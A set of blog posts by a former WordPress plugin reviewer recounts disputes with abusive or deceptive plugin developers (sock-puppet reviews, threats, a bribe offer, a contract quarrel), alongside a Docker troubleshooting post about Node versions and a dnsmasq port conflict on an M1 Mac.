> We feel your actions demonstrate you simply are not willing to be a productive member of this community and as such we are invoking our right to remove hosting of your plugins at any time.
>
> Me via email to Alan
There’s a lot more boilerplate, but more or less it tells you “Don’t make another account, and stop wasting everyone’s time here.” If you can’t play well with others, then open source isn’t going to be the place for you.
## In My Defence…
Alan began his reply by saying he **never** intended that part of his reply to be public. So he … made it on a public forum, in the hopes his alternate account wasn’t blocked? Even though he knew about Slack and **regularly** used it to complain about being moderated.
He went on to complain that the forum mods had a vendetta and clearly knew him from work. I have to admit, I blinked a lot there. His excuse was people clearly hated him from work and it spilled over? Why would they hate you at work, Alan? Why would someone from your job hate you *so much* as to make up shit about you here? He blamed the PC ‘woke’ world, and demanded to know who said such things because he had never seen any complaints. The same complaints that carried over from his work.
Then he went on to say it was clearly a vendetta of the plugins team against non-Automattic owned ‘security’ apps. His was used by, I think, 500 or so people. Not what I consider a ‘well used’ plugin, more of a niche thing. This isn’t a judgement call! I have plugins used by fewer than that. It’s just like saying Lindys sells more cheesecake than strudel.
That was a *Guys & Dolls* joke.
But on topic, let’s see. The takeaways from Alan’s email are:
1. Intent to be abusive? Check.
2. Not understanding that multiple people are admins and can read posts? Check.
3. Demanding explanation for non-related topics? Check.
4. Claims he was never warned even though he *replied* to those warnings? Check.
5. Claims we’re sensitive after accusing people of sexual impropriety? Check.
6. Hiding behind claims of ‘woke’ abuse? Check
7. Incorrectly assuming it’s about plugin in question? Check.
Conclusion? Angry person who thinks he can mistreat anyone. And just for a bonus:
> Further, based on this overreaction, I can only conclude that I am correct. Gutenburg’s authors are providing sex, money and drugs to high ranking decision makers at Automattic.
>
> Alan via email to Plugins
I still don’t (never have) work for Automattic. I’ve been to a lot of WordCamps and I’ve never been offered money or drugs or sex for favours doing plugin reviews. Was I always talking to the wrong people? Was there a secret orgy I was excluded from!? Now I want to know!
Not really. None of that has any place in my WordPress life. Sorry folks, my sex life is not related to plugins or WordPress, and very much not your business.
And for Alan, I just shrugged and moved on.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Docked Libraries and DNSMasque](https://halfelf.org/2023/docked-libraries-and-dnsmasque/)
**Published:** October 2, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I had a really bad afternoon with Docker misbehaving and screwing up my entire workflow. All I did was restart the Docker app and it all fell apart.
**Content:**
I use Docker at work because it’s what we have to use to build sites on specific servers (like [WordPress VIP](https://docs.wpvip.com/how-tos/local-development/use-the-vip-local-development-environment/)). Honestly, I like it because everything is nicely isolated, but it has been known to have some … let’s call them ‘quirks’ with the newer M1 and M2 chip Macs.
You know what I have.
And I had some drama on a Friday afternoon, because why the hell not.
## Drama 1: libc-bin
After working just fine all day, I quit out of Docker to run something else that likes to use a lot of processing power. When I popped back in and started my container, it blew a gasket on me:
```
21.39 Setting up npm (9.2.0~ds1-1) ...
21.40 Processing triggers for libc-bin (2.36-9+deb12u1) ...
22.74 npm ERR! code EBADENGINE
22.74 npm ERR! engine Unsupported engine
22.74 npm ERR! engine Not compatible with your version of node/npm: npm@10.1.0
22.74 npm ERR! notsup Not compatible with your version of node/npm: npm@10.1.0
22.74 npm ERR! notsup Required: {"node":"^18.17.0 || >=20.5.0"}
22.74 npm ERR! notsup Actual: {"npm":"9.2.0"}
```
I was using Node 16 as a holdover from some work I was doing back at DreamHost. Of course the first thing I did was update Node to 18, but no matter what I tried, Docker **would not** run the right version!
I looked at the `Dockerfile` and saw this section:
```
# Development tooling dependencies
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash less default-mysql-client git zip unzip \
nodejs npm curl pv \
msmtp libz-dev libmemcached-dev \
&& npm install --global npm@latest \
&& rm -rf /var/lib/apt/lists/*
```
When I broke it apart, it was clear than `apt-get install` was installing **the wrong version of Node!**
Maddening. I wrestled around, and finally I added `FROM node:18` to the top of my `Dockerfile` to see if that declare would work (after all, Docker supports multiple `FROM` calls since 2017).
To my surprise, it did! Almost…
## Drama 2: PHP
It broke PHP.
While you can have multiple `FROM` calls in modern Docker, you have to make sure that you place them properly. Since node was the new thing, I put it as the second `FROM` call. In doing so, it *overrode* the PHP call a few lines down, causing the build to fail on PHP.
Our `Dockerfile` is using something like the [older version of the default file](https://github.com/docker-library/wordpress/blob/618490d4bdff6c5774b84b717979bfe3d6ba8ad1/apache/Dockerfile#L5-L9) (I know I know, but I can only update a few things at a time, I have 4 tickets out there to modernize things, including PHPCS), I had to move the call for `FROM wordpress:php8.1-fpm` to **right above** the line where we call PHP.
You may not have that. But if you add in that from node and it breaks PHP telling you it can’t run? That’s probably why.
Huzzah, the build works! PHP and Node are happy … but then …
## Drama 3: UDP Ports
Guess what happened next?
```
Error response from daemon: Ports are not available: exposing port
UDP 0.0.0.0:53 -> 0.0.0.0:0: listen udp 0.0.0.0:53: bind: address
already in use
```
I shouted “FOR ***FUCKS*** SAKE!”
I did not want to edit the `compose.yml` file. Not one bit. If it works for everyone else, it should be that way.
Thankfully, Docker has a way to override with `compose.override.yml` (we have a `docker-compose.override.yml` file, old school name, old school project). I was already using that because, for some dumb reason, the only way to get the database working was to add in this:
```
services:
db:
platform: linux/amd64
```
It’s not a super dumb reason, it’s a Docker vs M1 chipset reason. Still, it was annoying as all get out.
Naturally, I assumed override meant anything I put in there would override the default. So I tossed this in:
```
dnsmasq:
ports:
- "54:54/udp"
```
Turns out, override *doesn’t* mean override when it comes to ports. I went to the [documentation](https://docs.docker.com/compose/multiple-compose-files/extends/#adding-and-overriding-configuration), and there is **no** mention of how to override ports. On to the Googles! A lot of searching finally landed me on an [old, **closed** ticket](https://github.com/docker/compose/issues/3729) that implied I could do exactly what I wanted.
After reading that whole long ass ticket I determined the syntax is this:
```
dnsmasq:
ports: !reset
- "54:54/udp"
```
Finally I could get my site up and running! No idea why that isn’t documented, since the dnsmasq issue is a **known** compat issue with MacOS.
## Drama 4: Update All The Things
Then I did the dumbest thing on the planet.
I updated the following:
- Docker
- *Everything* I use from HomeBrew
- Mac OS (only the minor – I’m not jumping to the next major release on a Friday afternoon!)
But I have good news this time.
Everything worked.
## Final Drama…
The thing was, I didn’t really want to have to edit the Dockerfile. It’s a tetchy beast, and we all use different OSes (I’m M1, one person is older Mac, one is Windows). Cross compatibility is a bit issue. I did test a number of alternatives (like defining engine in `package.json` and even mimicking our other setups).
At the end of the day, nothing worked except the above. No matter what, `libc-bin` was certain I was using NPM 10, which I wasn’t. I wish I’d found a better solution, but so far, this is the only way I could convince my `Dockerfile` that when you install via `apt`, you really want to use the latest.
**Categories:** How It Is
**Tags:** coding, docker, wordpress
---
### [Plugins: Threatening to Go Public](https://halfelf.org/2023/plugins-threatening-to-go-public/)
**Published:** September 27, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Demanding a plugin be reopened because you don't have the time to fix the security issues is not a good argument.
**Content:**
A lot, like *a lot* a lot, of people threaten to go public with how evil the Plugins team is. That rarely works out for them, since most of the time I’m very good about covering my bases, giving people just enough rope to hang themselves, and documenting it to CYA. Also most of the time they’re wrong. If I’m wrong, I apologize and try to make amends.
But they still threaten. Few people it’s *rarely* going to be what they want, since they’ll say “I was banned because I refused to fix X” or “My plugin was rejected because wouldn’t change X” and that reflects on them, not me. Now that does depend on what X is, like sometimes it’s as weird as not documenting a remote call, or it’s not wanting to use the default jQuery. A lot of people refuse to stop including libraries that are default in WP for reasons I cannot fathom.
Today’s story is about one of those where X was a security issue.
## Security Closure
One of the fun/annoying parts of plugins are security reports. We get a lot and they’re rarely well written so they take time to unpack what the plugin is and what exactly the issue is. Dion has since crafted a way to collect more of the details to expedite (which helps a lot), but back then? I did it all manually, checking and testing every time.
That routine and practice is a **large** part of why it’s taking so long for folks to catch up after I left, I had a routine and muscle memory working for me on top of a decade of experience. They’re individually about as fast as I was when I started, and back then we had a *lot* fewer plugins and a lot simpler ones!
This report was for a valid XSS and SQL injection issue on a plugin untouched for 6 years. No big deal, mistakes happen and this was clearly a mistake. The plugin was closed and the dev emailed.
Now these old and non-updated plugin closures usually fall into two categories:
1. The developer replies, fixes the plugin, all is happy
2. The developer never replies, plugin is closed forever, sadness reigns
But then we got the weird one.
Note: My wife always laughs when I say ‘and *then* it got weird’ because it’s usually already pretty weird.
This guy, let’s call him Glen (not his real name), emailed back and said he hadn’t updated *but* he tested the plugin and it worked on the then stable version of WordPress. Great. But he has to fix the code. So he was told “If you have not updated the plugin on SVN, we will not review it” among other things.
Glen complained that he did this shit for free (join the club, Glen) and he was the reason WordPress was popular (… what?), and for sure he would **not** be able to update on short notice. The plugin was already closed and if you’re wondering what notice, he meant the time to disclosure. Remember after 60 days the site will say (in broad terms) why a plugin was closed.
Now. Saying you can’t fix the plugin asap is totally okay. Take the time you need, but I am not reopening if it’s not safe. Period. It was already 0-day’d.
Glen wanted me to call him (Hah!) and he would tell me all about WordPress’s many, obvious, security issues.
## No Phone Calls
I told him no, I would not give him my number.
He was reminded that the plugin is his responsibility, not mine. I don’t work for him any more than he for me. We’re all volunteers, yadda yadda, and by the way, here’s how you report WP core issues. Finally he was reminded the plugin was *already* closed, and he could take the time he needed to correct it, even years.
He agreed to update, when he could. Again, I told him that was fine, and to do what he could when he could, we understood. But Glen got all fired up over being “asked” to “look into” his security issues and continued to complain that he had to fix his own plugin.
For the record, everyone has **60 days** before the reason for closure is made public. There has *never* been an ultimate limit to fix the plugin after closure. The longest has been over a year. I never cared if it takes you 6 minutes or 6 hours or 6 years! But Glen? Well … he threatened to post on social.
So let’s get it clear. Glen was going to post on social that:
1. He was told about a security issue in a plugin he hadn’t touched in 6 years, his plugin was closed, and he was given a timeline for disclosure of why it was closed.
2. He ignored the security issue and said it worked on 5.X so it’s all good.
3. He was told we would not reopen the plugin unless he updated.
4. He decided it was rude of us to say that.
5. He accused the plugin team of being rich (hah).
6. He threatened to tell everyone the whole story.
Besides the fact that it’s not going to go his way (people would read “You refused to fix your own plugin and demanded a known vulnerable plugin be restored?”), it’s pointless. It wouldn’t change anything. The plugin would remain closed and he’d get banned for threats. Because the textbook word there is he was trying to *extort* us by threatening … dog shaming?
## Stop Hitting Yourself
I pointed out that his ‘version’ wasn’t going to make him look good. He was welcome to go public if he wanted, but again, all he was being asked was to fix the plugin *when he could*, and no, I would not reopen it until it was fixed.
He doubled down, used some choice words about the matter, and was banned.
I don’t think he ever did go public, but he never fixed his plugin or self-hosted it either.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: My Way Or Nothing](https://halfelf.org/2023/plugins-my-way-or-nothing/)
**Published:** October 11, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes you can be too smart for your own good. This story is about someone who knew better than WordPress... but wanted to use it anyway.
**Content:**
Back when I started explaining why I [dislike security plugins](https://halfelf.org/2023/i-hate-security-plugins/), I mentioned hating people who thought they knew everything.
Noah (not his real name) is a good example of that kind of drama.
## Not Safe Enough
Very rarely do plugins get an email that starts out with claims we’re too dumb to understand security.
In this case, Noah submitted a *search* plugin. Not a security plugin. And on a quick look, it had the following serious issues:
- direct access to files with POST calls outside of functions
- calling wp-config.php directly to get DB access
- non-prefixed functions, defines, and classes
- non-sanitized data being processed and non-escaped data being output
Pretty normal in so far as poorly written plugins go, and Noah got an email with the usual details on what’s wrong and what to fix.
Noah did not take it well and claimed our rules were arbitrary and made to protect people. Yes? I mean, of *course* the rules are there to protect people! And one can argue any rule is ‘arbitrary,’ but that’s how they work. Noah went on to say that was okay, but rules had disadvantages too. To that end, sure, he’s got a point. The rules *do* limit innovation to an extent but usually that’s got a reason.
The email went on for 1500 words about the problems people face (resource usage, mostly, and caching), and Noah included this gem:
> You are not able to solve these problems since you waste all of your time defining rules, handling security problems and bothering people who are offering their assistance to you for free.
>
> Noah via email to Plugins
We wouldn’t have to make all those guidelines and handle security issues if people actually fixed them, but I felt that was besides the point.
Let’s be honest here, Noah’s email was a lot of drama and words, signifying nothing at all. Making WordPress faster and having it use fewer resources is a great idea. But sir, this is an Arby’s. Or rather, Noah my man, this is a search plugin that has obvious security issues (sanitizing/escaping), makes dangerous calls that won’t always work (calling `wp-config.php` which can be moved), and crap for prefixes.
## Not Smart Enough
I did pick out the line “you can’t understand what I do” and rolled my eyes. Generally speaking, if someone tells you that, they’re the fool, not you. It’s like people who jump to tell you “I have a decade experience in WordPress!” They want their perceived standing in the community to excuse behaviour. That may happen, but I never cared if it was Matt himself submitting a plugin. Security is security. Hell, I once closed **my own plugin** for a security issue I’d missed 5 years prior (hilariously I only realized it was mine when I was about to hit send — there was a lot of laughing).
And I absolutely am smart enough to take one look at Noah’s code and recognize that his entire point was to have a plugin search WordPress and **intentionally** not use the built in WordPress security features. Like nonces. Normally that is from a lack of education and I think of it as a no-harm/no-foul. I remember when I didn’t really understand nonces, after all!
But in Noah’s case, he believed he was smarter than everyone else using WordPress and, instead of submitting patches to improve it for everyone, he was just going to circumvent WordPress’ security entirely. And that is a non-starter.
I am also smart enough to see his plugin could be brought into compliance pretty easily, which was why I didn’t reject, I pended.
## Not Clever Enough
I replied to Noah explaining his rant was pretty off topic not to mention very wrong in many places. The code was not safe to use, and we generally didn’t accept plugins that didn’t ‘use’ WordPress unless it was safe.
Perhaps I should explain a little here… See, there are two issues with calling `wp-load.php` or `wp-config.php`. The first issue is that people can, and do, move both the config file *and* the `wp-content` folders, so there would have to be a lot of fallbacks to make sure it would work for everyone. The second is that calling those directly is how you **obviate** WordPress’ security.
A sneaky third is that there’s no reason you *should* need to do that in the first place. If you call your plugin properly, with `init` and so on, then you get all the fun WordPress stuff without the drama. I know it’s a concept a lot of pure PHP devs struggle with, especially when they want to have ‘a url’ that people can use on their site (like a plugin wants your site to have `example.com/myplugin`), because that is a little tricky with WordPress.
In the email to Noah I made it clear. If he wanted to be hosted **on** WordPress.org, he had to follow the guidelines and that included our security requirements.
I mean, come on, here’s the part of the email where I tell him to sanitize, and he asks if that’s correct:
> > When you include POST/GET/REQUEST/FILE calls in your plugin, it’s important to sanitize, validate, and escape them.
>
> Did you ever think, if this is really correct?
>
> Noah via email to Plugins
Yes. Yes I do think it’s correct to sanitize, escape, and validate.
Also telling him “you must use the *most* appropriate function for sanitizing” (by which I mean ‘don’t sanitize a number as a text field, y’all’) he says:
> Who are you, that you think you are allowed to tell me what I “must use”? Are you thinking, you would be god?
>
> Noah via email to plugins
A god?
Jokes aside, Noah made it clear he thought the rules were bullshit, and he had no intention of ‘helping’ anyone. I shrugged, rejected his plugin, suspended his account, sent his emails to the blocked bin, and moved on my way.
## One Year Later…
A new search plugin showed up, and at first it didn’t trigger any memories for me. In fact, this version had *corrected* most of the things I’d flagged in the first one. A lot of people submit similar plugins, but at this point I was about 7ish years into reviews, so I was pretty good at spotting repeats.
Just like people have writing styles, people have coding styles.
Around halfway through the review, something clicked. I went and checked, and lo and behold **it was Noah**! He used a new domain, but DNS showed the same person owned both domains. Him. And he wasn’t really trying to hide it since, when I rejected the plugin, he replied from his first account’s email.
He explained that in the last couple of weeks, we’d ‘twice’ gotten in trouble together. I *thought* I hadn’t heard from him in nearly a year, and now I was worried he had used multiple accounts. But before I got into that work, I read his email.
## I Didn’t Read His Email
It’s true. I *skimmed* his 2500+ word email that was filled with … well … bullshit. He claimed that the use of saved replies meant I was ignorant and only doing that because it was easy… You know what, let me bullet point.
1. He thinks Automattic owns the plugin review team.
2. He believes he was 100% right and I was wrong, but he made the security changes anyway.
3. I was selfish for not listening to him, but he’s not rude for not listening to me.
4. He doesn’t believe telling me I’m stupid and paranoid was rude.
5. He expected me to do the emotional labor of telling him how to behave.
6. He claimed I rejected his plugin without a word (even though he replied to the email where I explained it was for abusive behaviour).
7. He’s mad I rejected his resubmission, even though the original email said NOT to resubmit or make a new account (… I mean …).
I did not reply since at the end he’d said this:
> This is my very last attempt to offer my software to you. If you don’t answer this email, I will delete the plug-in. But I believe you would serve WordPress better if you would give the software a chance.
>
> Noah via email to Plugins
Alas, he tried twice more that year before (seemingly) giving up.
Oh, and no, he didn’t have other accounts. He was sniffing some glue to come up with a claim that he and I had been in contact at all after that first rejection.
**Categories:** How it Was
**Tags:** plugins, security, stories, wordpress
---
### [Plugins: Mask of Many Faces](https://halfelf.org/2023/plugins-mask-of-many-faces/)
**Published:** September 13, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** One person, over 15 accounts, and a lot of weird comments about bathing ended up with a company banned from hosting code.
**Content:**
There’s a term we use a lot in WordPress forum/plugin work, called [Sock Puppets](https://en.wikipedia.org/wiki/Sock_puppet_account). That’s what we call an account someone makes with the intent of disguising who they are, usually to troll or for some other nefarious purpose. For plugin reviews in particular, the sock puppets are generally used to make fake reviews. Specifically they make a bunch of fake accounts to make five-star reviews for their own plugin.
While there is a claim that people use sock-puppets to leave one-star reviews for other plugins, that’s really not common. In fact, I only remember three times, and all three ended with banned companies. It’s not worth it. We’re a lot more kind if you make fake reviews for yourself, than if you do it to hurt others.
Fake reviews are a huge issue everywhere. Amazon and Apple have zero tolerance on them, and will punt you if you do it. On WordPress, I tried to be gentler and I would regularly warn people we caught them, please stop it, and we removed the reviews. If it happened a second time, their accounts were suspended until they replied to confirm they understood. The next step was the final warning (*any* non-security issues will result in a ban), and after that I would punt.
## Friends or Puppets?
One day a trio of plugin developers reviewed each other’s plugins. They specifically made fake accounts to do it. They were caught and admonished. They each replied in pretty thoughtless ways:
1. Replied 4 times, one saying they were all roommates, and said ‘god sees all’ (Zorro)
2. Replied that he was thinking about quitting WP (Doug)
3. Replied about bathing (Wally)
All names are fake. And no, I’m not kidding about Wally:
> Stop brushing and bathing.
>
> A lot of viruses when will destroy you, then you will understand the importance of cleaning your body and mind.
>
> Your behaviour is abnormal. You are doing wrong use of technology made by others.
>
> Wally via email to Plugins
Wally got the insta-ban because that one is off the wall weird and generally a good indication of trouble. I usually wouldn’t post the whole email but that one is pretty choice and hard to explain otherwise.
After being banned, Wally said he was happy to leave, that ‘we’ were idiots, he wished that we would lose our jobs and have to beg so people would treat us badly. I got treated badly while I was being paid. Does that mean I win? He ended up saying this:
> May WordPress get a virus similar to Coronavirus and all of you die under debts and people like you who interfere with others lives beggars for people like me and in return I will not put a paise in your begging hands.
>
> Wally via email to Plugins
Props for the capital P in WordPress.
After jokingly calling this a soap-puppet, I figured it was done. But then…
## All For Ban, Ban For All
Zorro replied **to Wally’s email**. You read that right. Zorro emailed a reply from his email address and so did Doug. Same email address. Zorro made more comments about God, Doug claimed he had friends in WordPress and I should watch my step.
> *Be careful, you may be hurt harder than you expect and at places where you do not expect.*
>
> Doug via email to Plugins
While it is possible that Wally shared the email around, Occam’s Razor is pretty sharp here. They were all the same person. Three accounts, three separate plugins, a bunch of reviews. And the fact that they all replied in minutes is pretty damning.
In the end, all three were banned, but only Zorro emailed the Password Reset folks asking why his account was disabled. He offered a bribe:
> I would like to make donation in your account if you restore my WordPress account and plugins.
>
> You may send me any guidelines.
>
> Once my plugin start generating income again I will be able to send you 50 dollars monthly for cooperation from your side.
>
> Zorro via email to Password Resets
The reset folks said ‘Nope.’ and that should have been that.
## It’s Never Over
The story doesn’t end there, and I have to backtrack.
Previously, *before* they were banned, I wasn’t quite sure they were all the same person. Three friends making puppets together isn’t new, so I laid a trap. This does not make me a great person, I know, but it’s important to be sure. And my trap was pretty benign.
Each account got a **slightly** different email about fake reviews. I’ve done this before with good results, because usually people slip up and reply with the wrong email. It’s harder than it looks to be note-perfect with multiple accounts, which is why it’s not worth the time. In this instance, it panned out perfectly as a **fourth** account, Soren, replied to Zorro’s email!
Bingo. That’s what I needed, and I banned all four telling them why. I did not cc them on the same email *just in case* I was wrong. I didn’t want to leak private data. At that point, they all replied with pretty nasty stuff about gods and bathing (what the hell? I shower every day!).
Enter Aaron. He submitted code that linked back to Zorro and Soren’s website. In fact, it linked back to one of Zorro’s plugins! I banned Aaron and repeated the end of the original ban email, which says not to make more accounts or WordPress.org will have to take stricter measures that could hurt others (IP bans etc).
Aaron didn’t reply. Another person, Derek, did. If you’re keeping track, this is the 6th account, and Derek said that he didn’t know who Zorro was, but Aaron (the account he was replying for) worked upstairs for a separate company.
## Who The Hell Is Whom?
At this point, we have three people who (purportedly) live together (Zorro, Doug, and Wally) and all their plugins cited Zorro’s website. We also have Soren, who replied to Zorro’s email, and Aaron who submitted another plugin linked back to Zorro. Finally we have Derek, who replied to Aaron’s email saying he didn’t work with Aaron.
Why did Derek reply to an email sent to Aaron?
This, my gentle readers, is why having multiple accounts is a shit-show and not worth it. You’re going to screw up and reply with the wrong ones. When you do, you will pay the price. It’s better to just be yourself and be honest. And preferably not an asshole.
Derek’s email went on to cite some things from Zorro (about gods), Wally (bathing and viruses, again!), and Doug (threats). I did not reply, I filed the email as blocked and ignored it. Derek replied again with basically “you can’t kick me out, I’m leaving!” … Except we already had kicked him out.
He added we sucked at communication and we were suckers and idiots he didn’t want to work with.
Signed Zorro.
From here on out, I will always use ‘Zorro’ for his name. I’m pretty sure everyone was Zorro anyway.
## Of Course He Kept On
Normally if you tell folks you’re leaving, you actually … leave. Right? Zorro didn’t. Every day for half a month he made new accounts and submitted plugins. He was really stupid about it, too. I mean, they all had the same naming convention and if there’s one thing I’m really gifted at, it’s pattern recognition.
I had just finished my first pass of my shell-script plugin checker, so I used this opportunity to write a complex set of checks for them, using Zorro’s ‘tells.’ This is why that work is complicated to be made public, it tracks why a plugin cannot be hosted, and outs the person as why. I don’t want the evil populace to know how I’m catching them. And catch I did.
Finally, Zorro emailed with a new story (and new email). Zorro’s new story was that his ‘accounts’ were hacked.
> Our accounts were hacked. All the emails linked to company were of multiple students who come here to learn WordPress free of cost. We provide emails to them, so that we can use their published plugins as part of project so that we can monitize it.
>
> Zorro via email to Plugins
That last sentence threw me for a loop. To monetize? They meant the plan was to funnel people to their company as a free-to-premium flow. Sure, a lot of people do that, but Zorro just said he **intentionally** used multiple accounts to own multiple plugins to funnel users to pay them. So you know, basic deception where multiple accounts are hiding who they are. Right. Not okay.
> We are never going to stop publishing plugins, we can change IP address, we can ask students to use their own network to publish plugins, use different emails. We can relocate to different location if we do not generate income here. You can not stop us from what we are doing.
>
> Zorro via email to Plugins
This kind of rant continued (along with how evil we are, blah blah) when Zorro stepped up the impersonation from the Wally email:
Again, props for using capital P, but yeah, totally. That’s how Matt would do it. I think he has my phone number actually … I know he has my address after that [August surprise](https://halfelf.org/2023/appreciation/).
## It Kept Going
From May to August, this shit kept going. Eventually I figured out the regex to catch and close the emails automatically, and I built out the scanner to catch ’em faster. Zorro sporadically popped up now and then, making a total of 17 separate accounts by the end of that year.
Once in a while that year I would catch another email from “Matt” firing me, and it was always good for a chuckle.
**Categories:** How it Was
**Tags:** plugins, sockpuppets, stories, wordpress
---
### [Plugins: Always Get a Contract](https://halfelf.org/2023/plugins-always-get-a-contract/)
**Published:** August 30, 2023
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A he-said/he-said argument turns into a perfect example of how NOT to hire a contractor.
**Content:**
Sometimes people do stupid things. In the case of Gary (not his real name), it was hiring someone *without* a contract. This led to a complaint that a developer had taken Gary’s proprietary code and released it in public.
Gary explained he’d hired Frank (not his real name) to write a plugin for his company, and the agreement was it was **not** for resale. That’s pretty normal to hear. Gary went on to explain that Frank was from Pakistan (this will come back later) and he’d asked Frank to take down the plugin and Frank said no. Could we step in?
## Time to Dig In
The answer to Gary was ‘maybe.’ I explained that, per the GPL, Frank was allowed to take and **fork** the code and release it for free. However, WordPress.org didn’t allow that if the source was a premium plugin. So first of all, was the infringing plugin actually hosted on WordPress.org? You see, Gary hadn’t named the plugin.
Once Gary linked to the plugin, I took a look for any obvious evidence that it wasn’t Frank’s. Sometimes people credit the source and it’s easy to see if it’s a fork, and other times they forget to clean it up and remove mention of the source. In this case, I saw no evidence, but I did see **GARY** had a number of warnings on his account for (basically) being an asshole in the forums. Never a good sign.
In fact, here’s what Gary posted in the forums against Frank:
> \[Frank\] will take your money and then leave you with a plugin with bugs and \[functions\] paid for that he doesn’t deliver.
>
> Gary in the forums
That’s it. That’s the review. Nothing about the specific plugin.
I then asked Gary if this was a premium (pay for) plugin. Gary said no (!) but it was a bespoke plugin with a contract provision to not distribute. I pointed out that meant the code wasn’t GPL, so we could remove it, and asked Gary for a copy of the code. I’m sure you won’t take the sucker bet about what the code was licensed, because it 100% said it was GPL.
Oh and yes, I had to warn Gary that **his** account was on mod-watch due to that review, which was not a review of the plugin. It was an attack on the developer. Right or wrong, personal attacks have no place in a review of a plugin. If some developer really did kick you in the goolies you should go to a lawyer, not the forums, to complain.
> We understand that sometimes contracts and arrangements go south. This does not give you permission to make *multiple* accounts and to aggressively attack the developer in question. This is especially true when you are directly contacted and told to come talk to the forums team in Slack, and instead you attempt to contact them personally via \[Social Media\].
>
> You were provided with the correct conversational methods, of which this email is in fact one, and instead you flagrantly disrespected and disregarded the directions.
>
> We will of course still hear your claim and, if there is proof to it, close the plugin permanently. But that won’t make us unlock your account, since you behaved in a manner unbecoming to our community.
>
> Plugin Team to Gary
This means it’s down to contract law, and I’m not a lawyer.
## Let’s See That Proof
I decided to ask the simplest possible option. “Did Frank sign a contract, or was this a verbal deal?” Gary insisted Frank had signed a contract. And he provided ‘evidence.’
His evidence was a group of *undated* and unorganized screenshots about their work from Skype. Each screenshot was ‘dated’ in the name (thank you Apple), but that wasn’t actually the order of the conversation. I spent an hour or so trying to get the order correct, and what I saw was Gary asking for **a lot** of changes in a short amount of time. A lot. Like every other comment from Gary was “and I need this change…”
Frank would update Gary at the start and end of his (Frank’s) day. I thought that was pretty reasonable, since Frank was in Pakistan and Gary was somewhere in North America. And finally in those screenshots I found where it went south. There was an email from the end of the previous year (remember we’re in January) where Gary said Frank needed to close the plugin on WordPress.org because **Gary** owned it, not Frank.
Rather politely, Frank replied that he had only made public the code **Gary didn’t want**. It took more digging in those undated Skype logs to figure out that Gary had asked for a bunch of features, changed his mind more than once, and Frank had, quite clearly in fact, asked if Frank could use the un-used code elsewhere.
You know that Gary said yes. Of course he did.
## Fool Me Twice, Shame On You
I wrote a reply to Gary explaining he’d actually agreed to let Frank share the code, and if Gary would send us **his** version, we would confirm the private code wasn’t there. My email included a screenshot to prove where Gary said that, just to cover my ass. Before I sent it, Gary sent me another story about how **after** this incident, he’d hired Frank a second time.
Y’all, if you hate a developer, why would you hire them a second time? What logic is that?
In the second incident, though, it got better. Gary had started this second “contract” at the same time he’d complained about the code not being removed from .org. Frank had *started* to accept the work, changed *his* mind, refunded Gary, and blocked Gary saying he didn’t want to work with Gary anymore. I felt that was quite reasonable of Frank, all things considered.
Gary also, as one would expect, took umbrage that he was suspended and Frank wasn’t.
> The fact that you won’t reenable my account because of terrible customer service and rude mods is not something you should hold against me \[…\].
>
> \[…\]
>
> If you think I will go down silently, trust me. You have not yet met a monster like me before.
>
> Gary to Plugins
I put pause on my initial reply to Gary and emailed Frank. I was honest and told Frank someone was making a claim he’d put code on .Org that violated a contract. I asked if there was a contract at all, and what had happened from Frank’s PoV, because I wanted both sides. Rather politely, Frank said there was only a *verbal* agreement, no actual contract, and that he decided he didn’t want to work with Gary because he was kind of a dick.
I chastised him for working sans contract and pointed him to where he could get basic dev contracts that would protect him from things like this.
## It Doesn’t Look Good
So here we are.
1. Gary hired Frank to make a plugin
2. Frank did so, after a lot of back and forth
3. Gary changed his mind and asked for a feature to be removed
4. Frank asked if he could put the removed feature up on .org
5. Gary said yes
6. Frank did so and linked to the plugin on .org (I think … it was truncated in the undated screenshots provided)
7. Gary then asked Frank to make a *second* plugin (knowing the original was hosted on .org)
8. Frank sent Gary the cost estimate
9. Gary complained Frank put the first plugin in public
10. Later on the day of the complaint, Frank refunded the down-payment
11. Gary complained about the refund being a breach of contract
12. Frank told Gary he would not work with him anymore and blocked Gary
From the outside, that looks pretty reasonable, right? And **both** parties (Gary and Frank) told the exact same story! I love when they line up. Gary had even shared the screenshot that confirmed **he** told Frank that the unused code was **FRANK’S** to do with what he wanted. The only difference was Frank said there was no contract, and Gary swore there was.
Now there’s a funny thing here. I still had no idea exactly which plugin this was! Frank had around 10 to his name, and three were from the December/January period. I had a guess about it, but I asked (for the fourth time) if Gary would please link to the plugin so I could be sure.
I also asked Gary for a copy of the bespoke plugin to compare (again, this was a repeat ask), proof of a contract (again, a repeat ask), proof Gary had said the plugin was not to be shared (again, a repeat ask), and to please be patient as we’re all volunteers here (a repeat reminder). Oh and to stop telling Frank he was mentally ill, that wasn’t okay.
Finally Gary linked to the code on WordPress.org. Gary also complained that he had a stellar history on .org (he did not) and I could see his public work history on a freelancing website that has a number for the name. That website, you may be amused to know, showed Gary had nothing but 1-star reviews. Gary claimed he’d conceptualized the plugin and named it (neither of those things are copyrightable to the best of my knowledge, especially since the name included someone *else’*s trademark).
The email also came with a mammoth rant about Frank and Gary’s history. Gary was of the opinion that a developer who quit/canceled a contract partway through was ‘too fragile’ to be a developer. Then he went on to explain he’d dealt with a family member who had a mental break, and he thought he saw the signs in Frank. And it came with a lot more screenshots, none of which proved anything.
**Note:** I have a tendency to stop talking to people when they get like Gary. It’s not because I’m fragile (as some people like to claim). It’s because when I find the other person so lacking in human empathy and so unwilling to compromise, I see absolutely zero point in continuing the conversation. If there’s no middle ground, and it’s only your way or nothing, you get nothing.
I read the email and the screenshots and replied:
> Just so we’re clear here, you had no contract and *no* verbal agreement that he wouldn’t make the plugin publicly available?
>
> Me to Gary
The rest of my email explained we needed to see something *prior* to the dust up of the plugin being hosted on .Org, that in any way shape or form indicated there was any agreement to not host this code on WordPress.org. Remember I had the evidence *from GARY* that he said it was okay. I wanted the evidence he claimed existed to prove he had said the opposite.
